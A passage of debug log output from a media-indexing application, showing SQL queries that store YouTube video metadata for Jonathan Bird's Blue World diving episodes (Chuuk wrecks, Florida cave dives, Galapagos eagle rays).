SHARKS of Mexico!/Return to the BULL SHARKS of Mexico! [st5_OKH1O-g].mp4", false, ~U[2025-08-02 14:01:30Z]] 19:02:34.261 [debug] QUERY OK source="sources" db=0.3ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.262 [debug] QUERY OK source="media_items" db=0.9ms idle=5.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-05 14:00:11Z], 34] 19:02:34.264 [debug] QUERY OK source="media_items" db=1.1ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The Blue World dive team travels to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks and plane wrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the first in a series of five episodes coming from our Chuuk adventure.\n\nThe wrecks explored in this segment are the Kiyosumi Maru, the Mitsubishi G4M \"Betty Bomber\" airplane, and the Yamagiri Maru.\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey liveaboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro and History\n3:16 We Arrive\n5:36 Dive on the Kiyosumi Maru\n10:45 Dive on the Betty Bomber\n16:27 Dive on the Yamagiri Maru\n22:43 Wrap up and credits", "Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]", "0d7bd148-4cfb-424b-8a97-587d6e2f4e01", "N1tKGFoW7W8", false, "https://www.youtube.com/watch?v=N1tKGFoW7W8", 34, [], 1404, false, 12, "/downloads/rory/BlueWorldTV/2025-07-05 Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]/Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1] [N1tKGFoW7W8].mp4", false, false, 98, ~U[2025-07-05 14:00:11Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "The Blue World dive team travels to Chuuk Atoll (sometimes known as Truk) in the Federated States of Micronesia to dive the shipwrecks and plane wrecks resulting from a World War II battle in 1944. The sheer number of wrecks make Chuuk the \"wreck diving capital of the world.\" It's a wreck diving adventure, and the first in a series of five episodes coming from our Chuuk adventure.\n\nThe wrecks explored in this segment are the Kiyosumi Maru, the Mitsubishi G4M \"Betty Bomber\" airplane, and the Yamagiri Maru.\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nCheck out our video of a tour of the Truk Odyssey liveaboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro and History\n3:16 We Arrive\n5:36 Dive on the Kiyosumi Maru\n10:45 Dive on the Betty Bomber\n16:27 Dive on the Yamagiri Maru\n22:43 Wrap up and credits", "Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]", "N1tKGFoW7W8", "https://www.youtube.com/watch?v=N1tKGFoW7W8", 34, 1404, false, "/downloads/rory/BlueWorldTV/2025-07-05 Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1]/Diving the WWII Wrecks of Chuuk (Truk) Lagoon [Part 1] [N1tKGFoW7W8].mp4", false, ~U[2025-07-05 14:00:11Z]] 19:02:34.264 [debug] QUERY OK source="sources" db=0.2ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.265 [debug] QUERY OK source="media_items" db=0.8ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-14 14:00:11Z], 34] 19:02:34.277 [debug] QUERY OK source="media_items" db=11.4ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd team up with Gus and Woody from @DiveTalk to dive a famously tight section of cave in Madison Blue Springs known as \"Rocky Horror.\" If you are claustrophobic, it's definitely going to be horrific! For us though, it was pretty awesome fun! \n\nAnd as an added bonus, don't forget to check out Gus and Woody's reaction to this video!\nhttps://youtu.be/5IL1I3NJd5Q\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:04 The team meets in Florida\n2:56 We arrive at Madison Blue Springs\n6:44 The dive begins\n11:42 Arrive at Rocky Horror passage\n16:02 We reach the end and turn around\n17:47 Closing comments", "ROCKY HORROR Cave Dive at Madison Blue Springs!", "7cf05df6-e0b2-4627-bfe6-e7efcb4e38d6", "8t_R2cmYrBY", false, "https://www.youtube.com/watch?v=8t_R2cmYrBY", 34, [], 1127, false, 13, "/downloads/rory/BlueWorldTV/2025-06-14 ROCKY HORROR Cave Dive at Madison Blue Springs!/ROCKY HORROR Cave Dive at Madison Blue Springs! [8t_R2cmYrBY].mp4", false, false, 98, ~U[2025-06-14 14:00:11Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "Jonathan and Todd team up with Gus and Woody from @DiveTalk to dive a famously tight section of cave in Madison Blue Springs known as \"Rocky Horror.\" If you are claustrophobic, it's definitely going to be horrific! For us though, it was pretty awesome fun! \n\nAnd as an added bonus, don't forget to check out Gus and Woody's reaction to this video!\nhttps://youtu.be/5IL1I3NJd5Q\n\nAS ALWAYS please remember we are certified cave divers and these adventure episodes are not instructional. They are adventures! We do not show every step of the process for a very good reason...these videos are NOT INSTRUCTIONAL. Do not enter a cave (wet or dry) without proper training and equipment. Cave diving is exceptionally dangerous. If you want to do it, get certified for it.\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Intro\n1:04 The team meets in Florida\n2:56 We arrive at Madison Blue Springs\n6:44 The dive begins\n11:42 Arrive at Rocky Horror passage\n16:02 We reach the end and turn around\n17:47 Closing comments", "ROCKY HORROR Cave Dive at Madison Blue Springs!", "8t_R2cmYrBY", "https://www.youtube.com/watch?v=8t_R2cmYrBY", 34, 1127, false, "/downloads/rory/BlueWorldTV/2025-06-14 ROCKY HORROR Cave Dive at Madison Blue Springs!/ROCKY HORROR Cave Dive at Madison Blue Springs! [8t_R2cmYrBY].mp4", false, ~U[2025-06-14 14:00:11Z]] 19:02:34.278 [debug] QUERY OK source="sources" db=0.3ms idle=15.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.279 [debug] QUERY OK source="media_items" db=0.8ms idle=14.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-24 14:00:11Z], 34] 19:02:34.282 [debug] QUERY OK source="media_items" db=2.4ms idle=14.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this exciting episode, Jonathan and Christine Bird travel to the Northern Galapagos on the Galapagos Aggressor Liveaboard dive yacht searching for the famous schooling Eagle Rays of Wolf Island. Along the way they meet some sharks and sea turtles!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #galapagos #liveaboarddiving \n\nChapters:\n0:00 Intro\n1:35 Travel to Ecuador\n2:38 Arrival in Galapagos\n4:57 Diving starts\n8:00 Diving Darwin Island\n14:30 Diving Wolf Island\n18:52 Close", "A Quest for EAGLE RAYS in the Galapagos! Can we find them??", "959d1ab3-81be-473c-8df5-c8429d60ae1c", "nVlQUwxiNwg", false, "https://www.youtube.com/watch?v=nVlQUwxiNwg", 34, [], 1188, false, 14, "/downloads/rory/BlueWorldTV/2025-05-24 A Quest for EAGLE RAYS in the Galapagos! Can we find them??/A Quest for EAGLE RAYS in the Galapagos! Can we find them?? [nVlQUwxiNwg].mp4", false, false, 98, ~U[2025-05-24 14:00:11Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "In this exciting episode, Jonathan and Christine Bird travel to the Northern Galapagos on the Galapagos Aggressor Liveaboard dive yacht searching for the famous schooling Eagle Rays of Wolf Island. Along the way they meet some sharks and sea turtles!\n\nSEASON 10 OF JONATHAN BIRD'S BLUE WORLD IS BROUGHT TO YOU BY THE BHARAT FAMILY FOUNDATION!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #galapagos #liveaboarddiving \n\nChapters:\n0:00 Intro\n1:35 Travel to Ecuador\n2:38 Arrival in Galapagos\n4:57 Diving starts\n8:00 Diving Darwin Island\n14:30 Diving Wolf Island\n18:52 Close", "A Quest for EAGLE RAYS in the Galapagos! Can we find them??", "nVlQUwxiNwg", "https://www.youtube.com/watch?v=nVlQUwxiNwg", 34, 1188, false, "/downloads/rory/BlueWorldTV/2025-05-24 A Quest for EAGLE RAYS in the Galapagos! Can we find them??/A Quest for EAGLE RAYS in the Galapagos! Can we find them?? [nVlQUwxiNwg].mp4", false, ~U[2025-05-24 14:00:11Z]] 19:02:34.282 [debug] QUERY OK source="sources" db=0.3ms idle=16.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.284 [debug] QUERY OK source="media_items" db=0.8ms idle=5.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-03 14:00:12Z], 34] 19:02:34.285 [debug] QUERY OK source="media_items" db=1.0ms idle=6.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd explore the long and winding passageway of Skiles Passage in Twin Caves. This is one of the caves located on Merritt's Mill Pond in Marianna, Florida. They have to overcome being unfamiliar with the passage, some confusing cave lines, and a tight, silty restriction. This restriction is impossible to pass without sidemount gear and without silting out the cave. It's a cave diving adventure!\n\nWARNING!! CAVE DIVING IS DANGEROUS! DO NOT ATTEMPT TO DIVE CAVES WITHOUT PROPER EQUIPMENT AND TRAINING!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Tease/Open\n0:29 Introduction\n3:29 On the boat\n6:35 The Dive Begins\n12:28 We get Lost\n14:23 The restriction!\n17:32 Another confusing intersection\n19:30 On our way out\n23:54 Credits", "Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD", "615130e5-17f6-4dfb-9ee4-feddebd80c11", "0-k5a8ca1dk", false, "https://www.youtube.com/watch?v=0-k5a8ca1dk", 34, [], 1460, false, 15, "/downloads/rory/BlueWorldTV/2025-05-03 Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD/Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD [0-k5a8ca1dk].mp4", false, false, 98, ~U[2025-05-03 14:00:12Z], ~U[2026-06-02 23:02:34Z], ~U[2026-06-02 23:02:34Z], "Jonathan and Todd explore the long and winding passageway of Skiles Passage in Twin Caves. This is one of the caves located on Merritt's Mill Pond in Marianna, Florida. They have to overcome being unfamiliar with the passage, some confusing cave lines, and a tight, silty restriction. This restriction is impossible to pass without sidemount gear and without silting out the cave. It's a cave diving adventure!\n\nWARNING!! CAVE DIVING IS DANGEROUS! DO NOT ATTEMPT TO DIVE CAVES WITHOUT PROPER EQUIPMENT AND TRAINING!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #cavediving #rebreather \n\nChapters:\n0:00 Tease/Open\n0:29 Introduction\n3:29 On the boat\n6:35 The Dive Begins\n12:28 We get Lost\n14:23 The restriction!\n17:32 Another confusing intersection\n19:30 On our way out\n23:54 Credits", "Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD", "0-k5a8ca1dk", "https://www.youtube.com/watch?v=0-k5a8ca1dk", 34, 1460, false, "/downloads/rory/BlueWorldTV/2025-05-03 Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD/Twin Caves SILT OUT Dive! | JONATHAN BIRD'S BLUE WORLD [0-k5a8ca1dk].mp4", false, ~U[2025-05-03 14:00:12Z]] 19:02:34.285 [debug] QUERY OK source="sources" db=0.2ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:02:34.286 [debug] QUERY OK source="media_items" db=0.8ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-01 15:00:54Z], 34] 19:02:34.288 [debug] QUERY OK source="media_items" db=0.8ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Todd venture to Puget Sound in the Pacific Northwest on a quest to film the giant Pacific Octopus, but instead find a bunch of curious Sixgill sharks!\n\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on 